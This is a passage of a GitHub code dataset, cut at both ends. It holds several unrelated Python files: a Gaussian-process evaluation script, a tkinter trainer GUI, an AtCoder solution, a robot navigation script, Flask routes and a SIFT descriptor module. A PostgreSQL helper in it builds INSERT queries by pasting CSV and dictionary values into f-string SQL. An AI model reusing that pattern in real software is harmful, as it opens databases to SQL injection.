likelihood_scope[gp.scope]\n    #     mll = ExactMarginalLogLikelihood(gp.likelihood, gp.model)\n    #     output = model_scope[gp.scope](x_temp)\n    #     gp.mll = mll(output, y_temp).item()\n    #     x_temp.detach()\n    #     y_temp.detach()\n    #     del x_temp\n    #     del y_temp\n    #     x_temp = y_temp = None\n    #     torch.cuda.empty_cache()\n    # root.update()\n    # np.savetxt('park300.csv', [loss_train], delimiter=',')\n    # #\n    for i, gp in enumerate(gps):\n        idx = query(x, gp.mins, gp.maxs)\n        gp.x = x[idx]\n        y_scope = y[:,gp.scope]\n        gp.y = y_scope[idx]\n        print(f\"Training GP {i + 1}/{len(gps)} ({len(idx)})\")\n        gp.init(cuda=True)\n    root.update()\n    #\n    # filename = 'windmill200.dill'\n    # dill.dump(root, open(filename, 'wb'))\n\n    # filename = 'var200_0.1_spgpn.dill'\n    # dill.dump(root, open(filename, 'wb'))\n    mu, cov= root.forward(x1[:,:], smudge=0,y_d = y_d)\n\n    # # mu2, cov2 = root.forward(test2.iloc[:, 3:].values, smudge=0)\n    #\n    rmse = 0\n    mae = 0\n    for k in range(y.shape[1]):\n        mu_s1 = mu[:,0, k]\n        sqe1 = (mu_s1 - y1[:,k]) ** 2\n        rmse1 = np.sqrt(sqe1.sum() / len(y1))\n        mae1 = np.sqrt(sqe1).sum() / len(y1)\n        mae+=mae1\n        rmse+=rmse1\n        # np.savetxt('rmse_windmill.csv', [all_rmse_improved], delimiter=',')\n\n    nlpd1=0\n    count=0\n    for i in range(mu.shape[0]):\n        sigma = np.sqrt(np.abs(np.linalg.det(cov[i,:,:])))\n        if sigma == 0:\n            count+=1\n            continue\n        # d1 = (test.iloc[i,d_input:].values.reshape((1,1,y_d))-mu[i,:,:]).reshape((1,y_d))\n        d1 = (y1[i, :].reshape((1, 1, y_d)) - mu[i, :, :]).reshape((1, y_d))\n        a = 1/(np.power((2*np.pi),y.shape[1]/2)*sigma)\n        ni =np.linalg.pinv(cov[i, :, :])\n        b = a * np.exp(np.dot(np.dot(-1 / 2 * d1, ni), d1.T))\n        if b > 0.0000000001:\n            nlpd = -np.log(b)\n        else:\n            nlpd = 0\n\n        nlpd1+=nlpd\n    #\n    nlpd2 = nlpd1/len(y1)\n\n    RMSEE.append(rmse / y_d)\n    MAEE.append(mae / y_d)\n    NLPDD.append(nlpd2)\n\n# #\nprint(f\"SPN-GP  RMSE: {RMSEE}\")\nprint(f\"SPN-GP  MAE1: {MAEE}\")\nprint(f\"SPN-GP  NLPD1: {NLPDD}\")\nprint(count)\nprint(f\"SPN-GP  RMSE mean: {np.mean(np.array(RMSEE))} std:{np.std(np.array(RMSEE))}\")\nprint(f\"SPN-GP  MAE mean: {np.mean(np.array(MAEE))} std:{np.std(np.array(MAEE))}\")\nprint(f\"SPN-GP  NLPD mean: {np.mean(np.array(NLPDD))} std:{np.std(np.array(NLPDD))}\")\n","repo_name":"stevie1023/cspn-gpspn","sub_path":"prod_spngp.py","file_name":"prod_spngp.py","file_ext":"py","file_size_in_byte":10666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43023704388","text":"# -*- coding: utf-8 -*-\n#http://www.cyberforum.ru/python-graphics/thread1999838.html\n\nfrom tkinter import *\n \n#Функция открытия нового окна\ndef openNewWindow(event):\n    door = var.get()\n    print(door)\n    y = var1.get()\n    print(y)\n    x = var2.get()\n    print(x)\n    if (x == 0) & (y != 2):\n        str = 'Не может быть шума без группы'\n    else:\n        if door == 1:\n            error = Toplevel()\n            Label(error, text = 'Дверь закрыта, попробуйте открыть').grid(row = 0, column = 0)\n            buton = Button(error, text='Далее')\n            buton.grid(row=1, column=0, columnspan=2)\n            buton.bind(\"<Button-1>\", error.withdraw())\n \n        else:\n            fw.withdraw()\n \n \n#Создание объекта окна\nfw = Tk()\nfw.title(u'Виртуальный тренажер')\n#Объект кнопка\nbut = Button(fw)\n#Верхний текст\ntv = StringVar()\nLabel(fw, width=50,textvariable=tv,relief=\"groove\",\n      borderwidth=3,font=(\"Times New Romans\", 10, \"bold\"))\\\n    .grid(row = 1, column = 0,columnspan = 2)\ntv.set(\"Дверь открыта?\")\n#Верхние Радиокнопки\nvar=IntVar()\nrad0 = Radiobutton(fw,text=\"Да\",\nvariable=var,value=0)\nrad0.grid(row = 2, column = 1)\nrad1 = Radiobutton(fw,text=\"Нет\",\nvariable=var,value=1)\nrad1.grid(row = 2, column = 0)\n#Текст перед кнопкой\ntq = StringVar()\ntq.set(\"Шум из аудитории\")\nLabel(fw, width=50,textvariable=tq,relief=\"groove\",\n      borderwidth=3,font=(\"Times New Romans\", 10, \"bold\"))\\\n    .grid(row = 3, column = 0, columnspan = 2)\n#Кнопка воспроизвести\nbut[\"text\"]='Воспроизвести'\nbut.grid(row = 4, column = 0, columnspan = 2)\n#Средний текст\ntw=StringVar()\ntw.set(\"Причина шума\")\nLabel(fw, width=50,textvariable=tw,relief=\"groove\",\n      borderwidth=3,font=(\"Times New Romans\", 10, \"bold\"))\\\n    .grid(row = 5, column = 0, columnspan = 2)\n#Средние Радиокнопки\nvar1=IntVar()\nrad2 = Radiobutton(fw,text=\"Гул\",\nvariable=var1,value=0)\nrad2.grid(row = 6, column = 0)\nrad3 = Radiobutton(fw,text=\"Обсуждение\",\nvariable=var1,value=1)\nrad3.grid(row = 6, column = 1)\nrad4 = Radiobutton(fw,text=\"Тишина\",\nvariable=var1,value=2)\nrad4.grid(row = 7, column = 0, columnspan = 2)\n#Текст перед рисунком\nte = StringVar()\nte.set(\"Состояние группы\")\nLabel(fw, width=50,textvariable=te,relief=\"groove\",\n      borderwidth=3,font=(\"Times New Romans\", 10, \"bold\"))\\\n    .grid(row = 8, column = 0, columnspan = 2)\n#Рисунок\ncanvas = Canvas(fw,width=500,height=400)\ncanvas.grid(row = 9, column = 0, columnspan = 3)\n\n#Нижние Радиокнопки\nvar2=IntVar()\nrad2 = Radiobutton(fw,text=\"Никого нет\", variable=var2,value=0)\nrad2.place(x= 0, y = 495)\nrad3 = Radiobutton(fw,text=\"Группа присутствует\", variable=var2,value=1)\nrad3.place(x=150 , y = 495)\n#Переменные передачи\ndoor = var.get()\nclassroom = var1.get()\nclasscount = var2.get()\n#Кнопка Далее\nbuton1=Button(fw,text = 'Далее')\nbuton1.place(x=300 , y = 500)\nbuton1.bind(\"<Button-1>\",openNewWindow)\n#Вывод окна\nfw.mainloop()\n\n","repo_name":"pashtetkun/cyberforum","sub_path":"tkinter_openwindow.py","file_name":"tkinter_openwindow.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35375811116","text":"import heapq\nN, M = list(map(int, input().split()))\n# 報酬を得られるまでの日にち毎に報酬をまとめる\ndays = [[] for _ in range(M + 1)]\nfor i in range(N):\n    a, b = list(map(int, input().split()))\n    if a > M: continue\n    days[a].append(b)\n\nreward = []\nheapq.heapify(reward)\ntotal = 0\n# Mの後ろから報酬を得られるまでの日にちが少ない順に優先度付きキューに入れていく\n# O(M * NlogN)で解ける\nfor i in range(M)[::-1]:\n    tasks = days[M - i]\n    for task in tasks:\n        heapq.heappush(reward, -1 * task)\n\n    if len(reward) > 0:\n        total += heapq.heappop(reward) * (-1)\n\nprint(total)\n\n# 5 3\n# 1 2\n# 1 3\n# 1 4\n# 2 1\n# 4 3\n\n# 5 3\n# 1 2\n# 1 3\n# 1 4\n# 2 1\n# 2 3","repo_name":"YuheiNakasaka/leetcode","sub_path":"atcoder/abc137/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43049587560","text":"\"\"\"This module contains the meta information of EventSendHeartbeat ExternalMethod.\"\"\"\n\nfrom ..ucscoremeta import MethodMeta, MethodPropertyMeta\n\nmethod_meta = MethodMeta(\"EventSendHeartbeat\", \"eventSendHeartbeat\", \"Version142b\")\n\nprop_meta = {\n    \"cookie\": MethodPropertyMeta(\"Cookie\", \"cookie\", \"Xs:string\", \"Version142b\", \"InputOutput\", False),\n    \"out_system_time\": MethodPropertyMeta(\"OutSystemTime\", \"outSystemTime\", \"DateTime\", \"Version142b\", \"Output\", False),\n}\n\nprop_map = {\n    \"cookie\": \"cookie\",\n    \"outSystemTime\": \"out_system_time\",\n}\n","repo_name":"CiscoUcs/ucsmsdk","sub_path":"ucsmsdk/methodmeta/EventSendHeartbeatMeta.py","file_name":"EventSendHeartbeatMeta.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"22"}
+{"seq_id":"29880743760","text":"#! /usr/bin/python3\n\nbaudRate = 115200\nport = \"/dev/ttyACM1\"\n\nimport sys\nimport time\n\n#Localization with the MarvelMind Beacon\nfrom marvelmind import MarvelmindHedge\n\n#Motor libraries\nsys.path.append(\"../src/open_motor/\")# This line points the python path to the open_motor module.\n#This will need to be changed based on the location of your code.\nfrom open_motor_serial import open_motor\ncomms = open_motor()\ncomms.init_serial_port(port,baudRate,0.5)\n\n#Import IMU data\nimport board\nimport adafruit_bno055\ni2c = board.I2C()\nsensor = adafruit_bno055.BNO055_I2C(i2c)\nlast_val = 0xFFFF\n\nsys.path.append('/home/pi/Desktop/PID')\nimport PID_Diff as Diff\n\nimport PID_Test1 as PID\n\nglobal i\ni = 0\n\ntheta=0\n\nimport numpy as np\n\ndef forward():\n    comms.send_pwm_goal(0,-204, -200, 0)\n    \ndef back():\n    comms.send_pwm_goal(0,204, 200, 0)\n    \ndef goLeft():\n    comms.send_pwm_goal(0,150, -150, 0)\n    \ndef goRight():\n    comms.send_pwm_goal(0,-150, 150, 0)\n\ndef stop():\n    comms.send_pwm_goal(0,0, 0, 0)\n    \nprevious_sensor = 0\nimuSensor = 0\n\ndef imuAngle(): # Makes it such that the code shouldn't get any non-float operand errors by ignoring any values that are non-float\n    global previous_sensor \n    global imuSensor \n    \n    imuSensor = sensor.euler[0] * (np.pi/180)\n    # print(\"type\", type(imuSensor))\n    instance = isinstance(imuSensor, float)\n    \n    if instance == True:\n        imuSensor = imuSensor\n        # print(\"float\")\n    else:\n        imuSensor = previous_sensor\n        \n    previous_sensor = imuSensor\n    \n    return imuSensor\n\n#theta is orientation relative to its initial position\ndef initialOrientation(initialX, initialY, currX, currY):\n    vectorX = currX - initialX\n    vectorY = currY - initialY\n    initialToCurrMag = np.sqrt(vectorX**2 + vectorY**2)\n    theta = np.arccos((vectorX)/(initialToCurrMag))\n    return theta\n    \ndef rotate(theta, hedgeX, hedgeY, desX, desY): \n    n = 1 # Arbitrary magnitude of imu header (aligned with MarvelMind)\n#     header = (hedgeX + n*np.cos(theta), hedgeY + n*np.sin(theta)) # Compute heading second point\n    header = (np.cos(theta), np.sin(theta)) # Compute heading second point\n    # print(\"header\", header)\n    # print(\"header\", header)\n#     headX = header[0] - hedgeX\n#     headY = header[1] - hedgeY\n#     headerMag = np.sqrt(headX**2 + headY**2)\n    headerMag = np.sqrt(header[0]**2 + header[1]**2)\n    desiredPathX = desX - hedgeX\n    desiredPathY = desY - hedgeY\n    desiredPathMag = np.sqrt(desiredPathX**2 + desiredPathY**2)\n#     print(\"num\", (header[0]*desiredPathX)*(header[1]*desiredPathY)) - print numerator\n#     print(\"deno\", desiredPathMag*headerMag) - print denominator\n    IMURot = np.arccos(((header[0]*desiredPathX)+(header[1]*desiredPathY))/(desiredPathMag*headerMag))\n    # IMURot = int(IMURot * (180/np.pi)) - Uncomment\n    IMURotSign = np.cross([header[0], header[1]],[desiredPathX, desiredPathY]) # will  help determine the direction the robot has to rotate in\n    \n    # conditional for determining whether the robot has to turn a negative or positive amount\n    if IMURotSign < 0:\n        print(\"Negative\")\n        IMURot = -1*IMURot # changes sign of imu rotation amount to account for the cross product results. If negative could turn left\n    else:\n        print(\"Positive\")\n        IMURot = IMURot # If positive could turn right\n\n    print(\"Turn IMU This Much (rad): \", IMURot, \"(deg)\", IMURot*(180/np.pi))\n    print(\"The cross produced: \", IMURotSign)\n    time.sleep(2)\n    \n    return IMURot\n\ndef main():\n    hedge = MarvelmindHedge(tty = \"/dev/ttyACM0\", adr=None, debug=False) # create MarvelmindHedge thread\n    count = 0 #For Calibration of the Beacon\n    \n    if (len(sys.argv)>1): # Counts the number of arugements\n        hedge.tty= sys.argv[1] # Command line arguments passed to script\n    \n    hedge.start() # start thread\n    \n    robot = Diff.robot()\n            #Calibrate the initial position before entering the actual loop\n    while count != 5:\n        if(hedge.positionUpdated):\n            initialX = hedge.position()[1]\n            initialY = hedge.position()[2]\n            print(initialX, initialY)\n            count = count + 1\n            \n    # Below tells robot to move certain amount to get next position to compute orientation angle\n    time.sleep(5)\n    forward()\n    time.sleep(2)\n    #Move a certain distance\n    stop()\n    time.sleep(5)\n    \n    #Get new position from Marvelmind\n    if(hedge.positionUpdated):\n        xPos = hedge.position()[1]\n        yPos = hedge.position()[2]\n    \n    #calculate the initial orientation\n    orientAngle = initialOrientation(0, 0, 1, 1) # changed for testing orientAngle = initialOrientation(initialX, initialY, xPos, yPos) ;function calculates initialOrientation of robot. SHOULD RUN ONLY ONCE\n    print(\"Initial Orientation\", orientAngle)\n    run = True\n    \n    #Calculate initial robot heading\n    heading = robot.get_heading(orientAngle)\n    print(\"Heading: \", heading)\n    \n    iteration = 1 #To run only once\n    \n    while run:\n        \n        DesPWMFB = 400 # Desired PWM value forward backward\n        DesPWMLR = 250 # Desired PWM value left right\n\n        try:\n\n            endLocations = [[4.32,4.57],[4.2,4.9],[3.3,4.9]]\n\n            # Determine the amount the imu must rotate after orienting it\n            hedge.dataEvent.clear()  \n            hedge.dataEvent.wait(1)\n            if (hedge.positionUpdated):\n                for location in endLocations:\n                    # print(\"Now here\")\n                    time.sleep(1)\n                    currX = hedge.position()[1]\n                    currY = hedge.position()[2]\n                    time.sleep(1)\n                    \n                    robot.set_locations(heading, currX, currY, location[0], location[1])\n                    \n                    if iteration == 1:\n                        robot.set_velocity()\n        \n        except KeyboardInterrupt:\n            stop()\n            hedge.stop()  # stop and close serial port\n            sys.exit()\n                            \n#         if run == True:    \n#             print(speed)\n#             robot_drive.set_velocity(speed[0], speed[1])\n#             \n#         # turn off drive if motors not running pwm = 0 -- determines how long after a motor has stopped until pid cleared\n#         if speed[0] == 0 and speed[1] == 0:\n#             global i\n#             i += 1\n#             print(i)\n#             if i > 5: # Time before pid resets - tinker with values; have tried 40, 25, 20, 10. 40 too long, same with 25. Depends on how long we want the pid to \"                                                      decelerate\".\n#                 robot_drive.clear_pid() # Sets pid values equal to zero\n#                 i = 0\n#         else:\n#             i = 0 # Otherwise pid is not cleared\n             \nif __name__ == \"__main__\":\n    main()\n\n        \n\n\n\n                  \n            \n\n\n \n\n\n","repo_name":"federicodzf/Integration2022","sub_path":"imuMarvelMindContol_v6.py","file_name":"imuMarvelMindContol_v6.py","file_ext":"py","file_size_in_byte":6897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17963064515","text":"import configdualbot\nimport psycopg2\nimport csv\n\nimport player\n\nimport collections\n\nimport logging\n\nimport datetime\n# import logging\n# logging.basicConfig(\n#     filename=f'logs/{datetime.datetime.utcnow().strftime(\"%Y-%m-%d-%H-%M-%S\")}.log',\n#     filemode='w',\n#     format='PostgreSQL - %(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO\n# )\n\nfrom psycopg2.extras import RealDictCursor\n\n\n\nlogger = logging.getLogger(__name__)\n\nplayers = collections.defaultdict(player.Player)\n\n\"\"\"Connect to the PostgreSQL database server \"\"\"\n# conn = psycopg2.connect(host=configdualbot.dbhost, port = 5432, database=configdualbot.dbname, user=configdualbot.dbuser, password=configdualbot.dbpassword)\n\n\n'''\nUse the function below in another 'database.ini' file if you want to save db info\nin the .ini file\n'''\n# from configparser import ConfigParser\n# def config(filename='database.ini', section='postgresql'):\n#     # create a parser\n#     parser = ConfigParser()\n#     # read config file\n#     parser.read(filename)\n#\n#     # get section, default to postgresql\n#     db = {}\n#     if parser.has_section(section):\n#         params = parser.items(section)\n#         for param in params:\n#             db[param[0]] = param[1]\n#     else:\n#         raise Exception('Section {0} not found in the {1} file'.format(section, filename))\n#\n#     return db\n\n\ndef testconnect():\n    try:\n        # connect to the PostgreSQL server\n        print('Connecting to the PostgreSQL database...')\n        conn = psycopg2.connect(host=configdualbot.dbhost, port=5432, database=configdualbot.dbname,\n                                user=configdualbot.dbuser, password=configdualbot.dbpassword)\n\n        # create a cursor\n        cur = conn.cursor()\n\n        # execute a statement\n        print('PostgreSQL database version:')\n        cur.execute('SELECT version()')\n\n        # display the PostgreSQL database server version\n        db_version = cur.fetchone()\n        print(db_version)\n\n        # close the communication with the PostgreSQL\n        cur.close()\n    except (Exception, psycopg2.DatabaseError) as error:\n        print(error)\n    finally:\n        if conn is not None:\n            conn.close()\n            print('Database connection closed.')\n\n\ndef create_sql_players():\n    \"\"\" drop tables if exist in the PostgreSQL database\"\"\"\n    \"\"\" create tables in the PostgreSQL database\"\"\"\n    commands = (\n        f\"\"\"\n            DROP TABLE IF EXISTS\n                playertaskstodo;\n        \"\"\",\n        \"\"\"\n            CREATE TABLE IF NOT EXISTS playertaskstodo(\n                    playerusername VARCHAR(255) PRIMARY KEY,\n                    task1 INTEGER NULL,\n                    task2 INTEGER NULL,\n                    task3 INTEGER NULL,\n                    task4 INTEGER NULL,\n                    task5 INTEGER NULL,\n                    task6 INTEGER NULL,\n                    task7 INTEGER NULL,\n                    task8 INTEGER NULL,\n                    task9 INTEGER NULL,\n                    task10 INTEGER NULL,\n                    task11 INTEGER NULL,\n                    task12 INTEGER NULL,\n                    task13 INTEGER NULL,\n                    task14 INTEGER NULL,\n                    task15 INTEGER NULL,\n                    task16 INTEGER NULL\n                    )\n        \"\"\",\n    )\n    try:\n        conn = psycopg2.connect(host=configdualbot.dbhost, port=5432, database=configdualbot.dbname,\n                                user=configdualbot.dbuser, password=configdualbot.dbpassword)\n        cur = conn.cursor()\n        # create table one by one\n        for command in commands:\n            cur.execute(command)\n        # close communication with the PostgreSQL database server\n        cur.close()\n        # commit the changes\n        conn.commit()\n    except (Exception, psycopg2.DatabaseError) as error:\n        print(error)\n    finally:\n        if conn is not None:\n            conn.close()\n\n\n\n\ndef loadPlayers_fromSQL(players: dict): ##NOTE: this also loads the chat ids from playerchatids SQL\n    command = (\n        f\"\"\"\n            SELECT * FROM\n                playertaskstodo\n        \"\"\"\n    )\n    try:\n        conn = psycopg2.connect(host=configdualbot.dbhost, port=5432, database=configdualbot.dbname,\n                                user=configdualbot.dbuser, password=configdualbot.dbpassword)\n        cur = conn.cursor()\n        # create table one by one\n        cur.execute(command)\n        # close communication with the PostgreSQL database server\n        print(\"Selecting rows from playertaskstodo table using cursor.fetchall\")\n        playerlist_selected = cur.fetchall()\n        for row in playerlist_selected:\n            playerName = row[0].strip().lower()  ##Note: Player is in 1st column. Angel is in 2nd column, Mortal is in 3rd column.\n            taskstodo = list(row)\n\n            players[playerName].username = playerName\n            players[playerName].taskstodo = taskstodo\n\n    except (Exception, psycopg2.DatabaseError) as error:\n        print(error)\n    finally:\n        if conn is not None:\n            conn.close()\n\n\n\n\ndef saveplayertaskstodo_toSQL(players: dict): ##USE THIS INSTEAD OF ABOVE FUNCTION\n    try:\n        conn = psycopg2.connect(host=configdualbot.dbhost, port=5432, database=configdualbot.dbname,\n                                user=configdualbot.dbuser, password=configdualbot.dbpassword)\n        cur = conn.cursor()\n        for k, v in players.items():\n            # d = {\"playerusername\": k, \"task1\": f\"{players[k].taskstodo}\"}\n            x = players[k].taskstodo\n            command2 = (\n                f\"\"\"\n                INSERT INTO playertaskstodo (playerusername,task1,task2,task3,task4,task5,task6,task7,task8,task9,task10,task11,task12,task13,task14,task15,task16)\n                VALUES ({\"'\" + \"','\".join(map(str, x)) + \"'\"})\n                ON CONFLICT (playerusername) DO UPDATE \n                SET (playerusername,task1,task2,task3,task4,task5,task6,task7,task8,task9,task10,task11,task12,task13,task14,task15,task16)\n                = ({\"'\" + \"','\".join(map(str, x)) + \"'\"});\n                \"\"\"\n            )\n            print(x)\n            cur.execute(command2)\n        # close communication with the PostgreSQL database server\n        cur.close()\n        # commit the changes\n        conn.commit()\n        print(\"All Telegram players taskstodo were dumped onto playertaskstodo SQL successfully!\")\n    except (Exception, psycopg2.DatabaseError) as error:\n        print(error)\n    finally:\n        if conn is not None:\n            conn.close()\n\ndef saveplayertaskstodo_fromSQL_toCSV(): ##JUST IN CASE FUNCTION\n    command = (\n        f\"\"\"\n            SELECT * FROM\n                playertaskstodo\n        \"\"\"\n    )\n    try:\n        conn = psycopg2.connect(host=configdualbot.dbhost, port=5432, database=configdualbot.dbname,\n                                user=configdualbot.dbuser, password=configdualbot.dbpassword)\n        cur = conn.cursor()\n        # create table one by one\n        cur.execute(command)\n        # close communication with the PostgreSQL database server\n        print(\"Selecting rows from playertaskstodo table using cursor.fetchall\")\n        playertaskstodo_selected = cur.fetchall()\n        # print(playertaskstodo_selected)\n        with open(configdualbot.TASKSTODO_CSV, 'w+', newline = '') as f:\n            write = csv.writer(f)\n            write.writerows(playertaskstodo_selected)\n        print(\"Exported CSV from playertaskstodo table using cursor.fetchall\")\n    except (Exception, psycopg2.DatabaseError) as error:\n        print(error)                                    ###NOTE: if you get Index error, open the CSV as notepad, then delete the last empty row. It is a known bug when importing CSVs from CSVs which were exported from SQL. Then it should be able to import flawlessly\n    finally:\n        if conn is not None:\n            conn.close()\n\ndef import_playertaskstodo_fromCSV_toSQL(): ##JUST IN CASE FUNCTION\n    try:\n        conn = psycopg2.connect(host=configdualbot.dbhost, port=5432, database=configdualbot.dbname,\n                                user=configdualbot.dbuser, password=configdualbot.dbpassword)\n        cur = conn.cursor()\n        with open(configdualbot.TASKSTODO_CSV, 'r') as f:\n            reader = csv.reader(f, delimiter=',')\n            for row in reader:\n                print (f\"{row[0]}, {row[1]}\")\n                cur.execute(\n                    f\"\"\"\n                    INSERT INTO playertaskstodo (playerusername,task1,task2,task3,task4,task5,task6,task7,task8,task9,task10,task11,task12,task13,task14,task15,task16)\n                    VALUES ('{row[0]}','{row[1]}','{row[2]}','{row[3]}','{row[4]}','{row[5]}','{row[6]}','{row[7]}','{row[8]}','{row[9]}','{row[10]}','{row[11]}','{row[12]}','{row[13]}','{row[14]}','{row[15]}','{row[16]}')\n                    ON CONFLICT (playerusername) DO UPDATE SET task1 = '{row[1]}', task2 = '{row[2]}', task3 = '{row[3]}', task4 = '{row[4]}', task5 = '{row[5]}', task6 = '{row[6]}', task7 =\n                    '{row[7]}', task8 = '{row[8]}', task9 = '{row[9]}', task10 = '{row[10]}', task11 = '{row[11]}', task12 = '{row[12]}', task13 = '{row[13]}', task14 = '{row[14]}', task15 = '{row[15]}', task16 = '{row[16]}';\n                    \"\"\"\n##ALTERNATIVELY, THE CODE BELOW ALSO WORKS\n                    # f\"\"\"\n                    # UPDATE playertaskstodo SET\n                    # task1 = '{row[1]}', task2 = '{row[2]}', task3 = '{row[3]}', task4 = '{row[4]}', task5 = '{row[5]}', task6 = '{row[6]}', task7 =\n                    # '{row[7]}', task8 = '{row[8]}', task9 = '{row[9]}', task10 = '{row[10]}', task11 = '{row[11]}', task12 = '{row[12]}', task13 = '{row[13]}', task14 = '{row[14]}', task15 = '{row[15]}', task16 = '{row[16]}'\n                    # WHERE playerusername = '{row[0]}';\n                    # INSERT INTO playertaskstodo (playerusername,task1,task2,task3,task4,task5,task6,task7,task8,task9,task10,task11,task12,task13,task14,task15,task16)\n                    # SELECT '{row[0]}','{row[1]}','{row[2]}','{row[3]}','{row[4]}','{row[5]}','{row[6]}','{row[7]}','{row[8]}','{row[9]}','{row[10]}','{row[11]}','{row[12]}','{row[13]}','{row[14]}','{row[15]}','{row[16]}'\n                    # WHERE NOT EXISTS (SELECT 1 FROM playertaskstodo WHERE playerusername =  '{row[0]}');\n                    # \"\"\"\n                ) #### NOTE: ON DUPLICATE KEY UPDATE is SQL command\n        print(f\"{configdualbot.TASKSTODO_CSV} Dump onto SQL success!\")\n        # close communication with the PostgreSQL database server\n        cur.close()\n        # commit the changes\n        conn.commit()\n        print (f\"{configdualbot.TASKSTODO_CSV} is imported successfully into playerchatids SQL database\")\n    except (Exception, psycopg2.DatabaseError) as error:\n        print(error)\n    finally:\n        if conn is not None:\n            conn.close()\n\n\nif __name__ == '__main__':\n    testconnect()\n    create_sql_players()\n    # import_players_from_csv()\n    ### import_playertaskstodo_fromCSV_toSQL() ##only important function here\n    # loadPlayers_fromSQL(players)\n    ## print(f\"players loaded to dualbot!\")\n    # loadChatID_fromSQL(players)\n    ## print(f\"player chat_ids loaded to dualbot!\")\n    # saveplayerschatids_toSQL(players)\n    # saveplayerchatids_fromSQL_toJSON()\n\n\n\n\n\n","repo_name":"yeozhenhao/GS_proceduralskills_bot","sub_path":"PostgreSQLconnect.py","file_name":"PostgreSQLconnect.py","file_ext":"py","file_size_in_byte":11294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21293865643","text":"from flask import Blueprint\n\nfrom app.models.models import TaskStatus\nfrom app.util import api_login_required, ac_api_requires\nfrom app.util import response_error\nfrom app.util import response_success\n\nmanage_task_status_blueprint = Blueprint('manage_task_status',\n                                       __name__,\n                                       template_folder='templates')\n\n\n# CONTENT ------------------------------------------------\n@manage_task_status_blueprint.route('/manage/task-status/list', methods=['GET'])\n@ac_api_requires(no_cid_required=True)\ndef list_task_status(caseid):\n    lstatus = TaskStatus.query.with_entities(\n        TaskStatus.id,\n        TaskStatus.status_name,\n        TaskStatus.status_bscolor,\n        TaskStatus.status_description\n    ).all()\n\n    data = [row._asdict() for row in lstatus]\n\n    return response_success(\"\", data=data)\n\n\n# CONTENT ------------------------------------------------\n@manage_task_status_blueprint.route('/manage/task-status/<int:cur_id>', methods=['GET'])\n@ac_api_requires(no_cid_required=True)\ndef view_task_status(cur_id, caseid):\n    lstatus = TaskStatus.query.with_entities(\n        TaskStatus.id,\n        TaskStatus.status_name,\n        TaskStatus.status_bscolor,\n        TaskStatus.status_description\n    ).filter(\n        TaskStatus.id == cur_id\n    ).first()\n\n    if not lstatus:\n        return response_error(f\"Task status ID #{cur_id} not found\")\n\n    return response_success(data=lstatus._asdict())\n","repo_name":"dfir-iris/iris-web","sub_path":"source/app/blueprints/manage/manage_task_status_routes.py","file_name":"manage_task_status_routes.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":837,"dataset":"github-code","pt":"22"}
+{"seq_id":"27092978310","text":"import os, sys\r\ncurrentdir = os.path.dirname(os.path.realpath(__file__))\r\nparentdir = os.path.dirname(currentdir)\r\nsys.path.append(parentdir)\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom scipy.ndimage import gaussian_filter\r\nfrom scipy.spatial.distance import cdist\r\n\r\nfrom sift_detector import DoG_pyramid, select_keypoints\r\nfrom global_utils.filters import sobel_x, sobel_y\r\n\r\n\r\ndef describe_keypoints(img_pyramid, keypoints):\r\n    \"\"\"\r\n    Describe keypoints using the SIFT descriptor.\r\n    \"\"\"\r\n    descriptors = []\r\n    hist_bins = [(i * np.pi / 4) for i in range(-4, 5)]\r\n\r\n    for o, points in enumerate(keypoints):\r\n        imgs = img_pyramid[o]\r\n        # Compute the image gradints\r\n        img_grad_x, img_grad_y = [], []\r\n        for img in imgs:\r\n            img_grad_x.append(sobel_x(img))\r\n            img_grad_y.append(sobel_y(img))\r\n\r\n        # Extract a descriptor for each keypoint\r\n        for point in points:\r\n            patch_grad_x = img_grad_x[point[0]][(point[1]-7):(point[1]+9), (point[2]-7):(point[2]+9)]\r\n            patch_grad_y = img_grad_y[point[0]][(point[1]-7):(point[1]+9), (point[2]-7):(point[2]+9)]\r\n            patch_grad = np.stack((patch_grad_x, patch_grad_y), axis=-1)\r\n            patch_grad_norm = np.linalg.norm(patch_grad, axis=-1)\r\n            patch_grad_orient = np.arctan2(patch_grad_y, patch_grad_x)\r\n            # Scale the gradient norm by their distances to the keypoint center\r\n            patch_grad_norm = gaussian_filter(patch_grad_norm, 16*1.5)\r\n\r\n            # Divide into sub-blocks and construct weighted histogram\r\n            descriptor = []\r\n            for row in range(4):\r\n                for col in range(4):\r\n                    block_grad_norm = patch_grad_norm[(4*row):(4*row+4), (4*col):(4*col+4)].reshape((-1))\r\n                    block_grad_orient = patch_grad_orient[(4*row):(4*row+4), (4*col):(4*col+4)].reshape((-1))\r\n                    block_hist = np.histogram(block_grad_orient, bins=hist_bins, weights=block_grad_norm)[0]\r\n                    descriptor.append(block_hist)\r\n            descriptor = np.concatenate(descriptor)\r\n            descriptor = descriptor / (np.linalg.norm(descriptor) + 1e-12)\r\n            descriptors.append(descriptor)\r\n    return descriptors\r\n\r\n\r\ndef match_descriptors(descriptors, last_descriptors, ratio_test=0.8):\r\n    \"\"\"\r\n    Feature matching with a robust \"Ratio Test\" method.\r\n    \"\"\"\r\n    # Compute the pair-wise distances between two group of descriptors\r\n    descriptors = np.array(descriptors)\r\n    last_descriptors = np.array(last_descriptors)\r\n    distances = cdist(descriptors, last_descriptors)\r\n\r\n    # Perform ratio test to find robust matches\r\n    matches = - np.ones((len(descriptors)), dtype=np.int32)\r\n    while True:\r\n        d_min = np.min(distances)\r\n        if d_min == np.inf:\r\n            break\r\n        row, col = divmod(np.argmin(distances), len(last_descriptors))\r\n        row_values = distances[row]\r\n        row_values[col] = np.inf\r\n        d_min2 = np.min(row_values)\r\n        if d_min < ratio_test * d_min2:\r\n            matches[row] = col\r\n            distances[:, col] = np.inf\r\n        